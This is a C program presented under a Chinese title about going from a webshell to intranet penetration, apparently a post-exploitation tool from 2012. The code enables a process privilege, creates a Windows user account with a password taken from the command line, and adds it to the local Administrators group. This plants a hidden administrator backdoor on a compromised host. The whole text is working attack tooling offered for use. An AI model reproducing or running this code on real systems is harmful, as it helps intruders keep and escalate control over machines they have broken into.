获取webshell到内网渗透一条龙

//Code by Pnig0s1992  

//Date:2012,3,17  

#include <stdio.h>  

#include <Windows.h>  

#include <lm.h>  



#pragma comment(lib,"Netapi32.lib")  



int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName); 

int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName); 

BOOL ImprovePriv(LPWSTR name); 



int main(INT argc,char * argv[]) 

{ 

BOOL bResult = ImprovePriv(SE_MACHINE_ACCOUNT_NAME); 

if(argc < 3) 

{ 

printf("\nCode by Pnig0s1992"); 

printf("\nUsage:"); 

printf("\n\t%s UserName Password",argv[0]); 

printf("\n\tRemark:Default add to Group:Administrators."); 

return -1; 

} 

if(bResult) 

{ 

printf("Successfully promote priv!"); 

}else 

{ 

printf("Failed promote priv."); 

return -1; 

} 

int Namesize=MultiByteToWideChar(CP_ACP,0,argv[1],-1,NULL,0); 

wchar_t *wUserName =new wchar_t[Namesize+1]; 

if(!MultiByteToWideChar(CP_ACP,0,argv[1],-1,wUserName,Namesize)) 

{ 

return false; 

} 

int Passsize=MultiByteToWideChar(CP_ACP,0,argv[2],-1,NULL,0); 

wchar_t *wPassword =new wchar_t[Passsize+1]; 

if(!MultiByteToWideChar(CP_ACP,0,argv[2],-1,wPassword,Passsize)) 

{ 

return false; 

} 

LPTSTR lpName = wUserName; 

LPTSTR lpPassword = wPassword; 

LPWSTR lpSevName = NULL; 

LPWSTR lpGroupName = L"Administrators"; 

AddUser(lpName,lpPassword,lpSevName); 

SetGroup(lpName,lpSevName,lpGroupName); 

return 0; 

} 



BOOL ImprovePriv(LPWSTR name) 

{ 

HANDLE hToken; 

if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)) 

{ 

printf("\nGet process token failed.(%d)",GetLastError()); 

return FALSE; 

} 

TOKEN_PRIVILEGES tkp; 

tkp.PrivilegeCount = 1; 

if(!LookupPrivilegeValue(NULL,name,&tkp.Privileges[0].Luid)) 

{ 

printf("\nLookup process priv failed.(%d)",GetLastError()); 

return FALSE; 

} 

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 

if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,NULL)) 

{ 

printf("\nAjust process priv failed.(%d)",GetLastError()); 

return FALSE; 

} 

CloseHandle(hToken); 

return TRUE; 

} 



int AddUser(LPWSTR lpUsername,LPWSTR lpPassword,LPWSTR lpServerName) 

{ 

USER_INFO_1 ui; 

DWORD dwLevel = 1; 

DWORD dwError = 0; 

NET_API_STATUS nStatus; 

ui.usri1_name = lpUsername; 

ui.usri1_password = lpPassword; 

ui.usri1_priv = USER_PRIV_USER; 

ui.usri1_home_dir = NULL; 

ui.usri1_comment = NULL; 

ui.usri1_flags = UF_SCRIPT; 

ui.usri1_script_path = NULL; 

nStatus = NetUserAdd(lpServerName,dwLevel,(LPBYTE)&ui,&dwError); 

if(nStatus == NERR_Success) 

{ 

printf("\nAdd user:%S successfully!",lpUsername); 

}else 

{ 

printf("\nAdd user failed:%d.",nStatus); 

} 

return 0; 

} 



int SetGroup(LPWSTR lpUsername,LPWSTR lpServerName,LPWSTR lpGroupName) 

{ 

NET_API_STATUS nStatus; 

LOCALGROUP_MEMBERS_INFO_3 lgui; 

lgui.lgrmi3_domainandname = lpUsername; 

nStatus = NetLocalGroupAddMembers(lpServerName,lpGroupName,3,(LPBYTE)&lgui,1); 



if(nStatus == NERR_Success) 

{ 

printf("\nSuccessfully set USER:%S to GROUP:%S!",lpUsername,lpGroupName); 

}else if(nStatus == NERR_GroupNotFound) 

{ 

printf("\nCan't find such a group:%S.",lpGroupName); 

}else 

{ 

printf("\nSet GROUP:%S failed.",lpGroupName); 

} 

return 0; 

}